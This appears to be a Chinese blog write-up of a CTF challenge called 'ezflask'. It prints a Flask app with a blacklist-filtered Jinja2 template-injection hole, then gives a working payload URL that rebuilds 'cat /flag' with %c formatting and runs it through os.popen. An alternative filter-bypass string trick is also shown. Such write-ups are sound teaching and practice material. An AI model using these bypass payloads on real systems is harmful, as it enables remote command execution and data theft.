安恒大学

做到时候也是没想到,注入点在邮箱激活那
在这里插入图片描述

ezflask

这题是原题的基础上加了过滤
https://www.anquanke.com/post/id/212808#h3-9
源码如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)

@app.route("/")
def index():
    def safe_jinja(s):
        blacklist = ['class', 'attr', 'mro', 'base',
                     'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
        flag = True
        for no in blacklist:
            if no.lower() in s.lower():
                flag = False
                break
        return flag
    if not request.args.get('name'):
        return open(__file__).read()
    elif safe_jinja(request.args.get('name')):
        name = request.args.get('name')
    else:
        name = 'wendell'
    template = '''

    <div class="center-content">
        <p>Hello, %s</p>
    </div>
    <!--flag in /flag-->
    <!--python3.8-->
''' % (name)
    return render_template_string(template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

这里可以构造这么一条链

{{self.__dict__._TemplateReference__context.lipsum.__globals__.os.popen}}

但是这里过滤了attr、request、单引号等,所以就需要构造参数拼接

首先需要找到一个%,然后用%c来chr单个字符后拼接cat /flag,payload

http://183.129.189.60:10025/?name={%set pc=self.__dict__._TemplateReference__context|lower|list|trim|unique|sort|slice(25)|list|first|last%}
{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}
{%set i1=dict(a=i1,c=udl%(99)).values()|join %}{%set i1=dict(a=i1,c=udl%(97)).values()|join %}{%set i1=dict(a=i1,c=udl%(116)).values()|join %}{%set i1=dict(a=i1,c=udl%(32)).values()|join %}{%set i1=dict(a=i1,c=udl%(47)).values()|join %}{%set i1=dict(a=i1,c=udl%(102)).values()|join %}{%set i1=dict(a=i1,c=udl%(108)).values()|join %}{%set i1=dict(a=i1,c=udl%(97)).values()|join %}{%set i1=dict(a=i1,c=udl%(103)).values()|join %}{{self.__dict__._TemplateReference__context.lipsum.__globals__.os.popen(i1).read()}}

这张图有好多没用的语句,但是环境无了,将就看看
在这里插入图片描述
看了一下发现有另一种拼接方式,如

{%set a=dict(import=1).keys()|reverse|first%}{% set x=(1|map|string|list).pop(20)|string%}{% set s=x*2~a~x*2 %}{{s}}

在这里插入图片描述

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*

code